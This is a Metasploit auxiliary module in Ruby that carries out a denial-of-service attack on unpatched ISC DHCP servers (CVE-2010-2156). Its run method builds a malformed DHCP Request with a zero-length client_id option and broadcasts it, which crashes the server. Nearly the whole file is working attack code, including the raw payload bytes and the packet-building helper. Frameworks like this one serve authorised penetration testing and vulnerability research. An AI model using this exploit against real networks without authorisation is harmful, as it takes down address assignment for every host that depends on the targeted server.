1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Auxiliary::Dos
8
  include Msf::Exploit::Capture
9

10
  def initialize
11
    super(
12
      'Name' => 'ISC DHCP Zero Length ClientID Denial of Service Module',
13
      'Description' => %q{
14
          This module performs a Denial of Service Attack against the ISC DHCP server,
15
        versions 4.1 before 4.1.1-P1 and 4.0 before 4.0.2-P1. It sends out a DHCP Request
16
        message with a 0-length client_id option for an IP address on the appropriate range
17
        for the dhcp server. When ISC DHCP Server tries to hash this value it exits
18
        abnormally.
19
      },
20
      'Author' => [
21
        'sid', # Original POC
22
        'theLightCosine' # msf module
23
      ],
24
      'License' => MSF_LICENSE,
25
      'References' => [
26
        [ 'CVE', '2010-2156' ],
27
        [ 'OSVDB', '65246'],
28
        [ 'EDB', '14185']
29
      ],
30
      'Notes' => {
31
        'Stability' => [CRASH_SERVICE_DOWN],
32
        'SideEffects' => [],
33
        'Reliability' => []
34
      }
35
    )
36
    register_options(
37
      [
38
        OptAddress.new('RIP', [true, 'A valid IP to request from the server'])
39
      ]
40
    )
41
    deregister_options('FILTER', 'PCAPFILE', 'SNAPLEN', 'TIMEOUT')
42
  end
43

44
  def run
45
    open_pcap
46
    print_status('Creating DHCP Request with 0-length ClientID')
47
    p = PacketFu::UDPPacket.new
48
    p.ip_daddr = '255.255.255.255'
49
    p.udp_sport = 68
50
    p.udp_dport = 67
51

52
    # TODO: Get a DHCP parser into PacketFu
53
    chaddr = "\xaa\xaa\xaa\xaa\xaa\xaa"
54
    dhcp_payload = "\x63\x82\x53\x63\x35\x01\x03\x3d\x00\xff"
55
    p.payload = dhcp_req(chaddr, dhcp_payload)
56
    p.recalc
57
    print_status('Sending malformed DHCP request...')
58
    capture_sendto(p, '255.255.255.255')
59
    close_pcap
60
  end
61

62
  def dhcp_req(chaddr, payload)
63
    req = "\x00" * 236
64
    req[0, 3] = "\x01\x01\x06" # Boot request on Eth with hw len of 6
65
    req[12, 4] = Rex::Socket.addr_aton(datastore['RIP'])
66
    req[28, 6] = chaddr
67
    req + payload
68
  end
69
end
70

71